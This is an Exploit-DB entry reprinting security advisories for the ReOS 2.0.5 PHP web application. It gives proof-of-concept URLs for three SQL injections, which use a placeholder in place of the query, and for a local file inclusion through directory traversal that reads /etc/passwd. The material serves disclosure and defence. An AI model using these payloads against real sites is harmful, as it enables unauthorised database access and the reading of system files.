Exploit-DB #16110
Description: reos 2.0.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-04
Author: High-Tech Bridge SA

Exploit:
=====================================
Vulnerability ID: HTB22807
Reference: http://www.htbridge.ch/advisory/sql_injection_in_reos_1.html
Product: ReOS
Vendor: IT ELAZOS S.L. ( http://reos.elazos.com/ ) 
Vulnerable Version: 2.0.5
Vendor Notification: 20 January 2011 
Vulnerability Type: SQL Injection
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "form1_ref_immo" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


http://[host]/index.php?form1_ref_immo=1'SQL_CODE_HERE&form1_order_by=precio&form1_tp_propiedad=&form1_in_order=ASC&form1_tp_servicio=&form1_txt_poblacion=&form1_txt_zona=&form1_precio_min=&form1_precio_max=&form1_data=pg%3Dverimmo%2Cnm%3DSearch+Results%2Cshow%3D0%2Cfrom%3D0&form1_phpform_sent=1


=====================================
Vulnerability ID: HTB22810
Reference: http://www.htbridge.ch/advisory/sql_injection_in_reos_3.html
Product: ReOS
Vendor: IT ELAZOS S.L. ( http://reos.elazos.com/ ) 
Vulnerable Version: 2.0.5
Vendor Notification: 20 January 2011 
Vulnerability Type: SQL Injection
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/members.php" script to properly sanitize user-supplied input in "form1_keyword" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


http://[host]/members.php?form1_keyword=%27SQL_CODE_HERE&form1_data=pg%3Dverpobs%2Cfrom%3D0%2Cnm%3DActive+Cities%2Cid_account%3D3&form1_phpform_sent=1


=====================================
Vulnerability ID: HTB22808
Reference: http://www.htbridge.ch/advisory/local_file_inclusion_in_reos.html
Product: ReOS
Vendor: IT ELAZOS S.L. ( http://reos.elazos.com/ ) 
Vulnerable Version: 2.0.5
Vendor Notification: 20 January 2011 
Vulnerability Type: Local File Inclusion
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/jobs.php" script to properly sanitize user-supplied input in "lang" variable.

The following PoC is available:


http://[host]/jobs.php?lang=/../../../../../../../../etc/passwd%00


=====================================
Vulnerability ID: HTB22806
Reference: http://www.htbridge.ch/advisory/sql_injection_in_reos.html
Product: ReOS
Vendor: IT ELAZOS S.L. ( http://reos.elazos.com/ ) 
Vulnerable Version: 2.0.5
Vendor Notification: 20 January 2011 
Vulnerability Type: SQL Injection
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "form1_txt_email1" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


http://[host]/index.php?form1_txt_email1=123'SQL_CODE_HERE&form1_data=pg%3Dremember%2Cnm%3DLost+your+Password%3F&form1_phpform_sent=1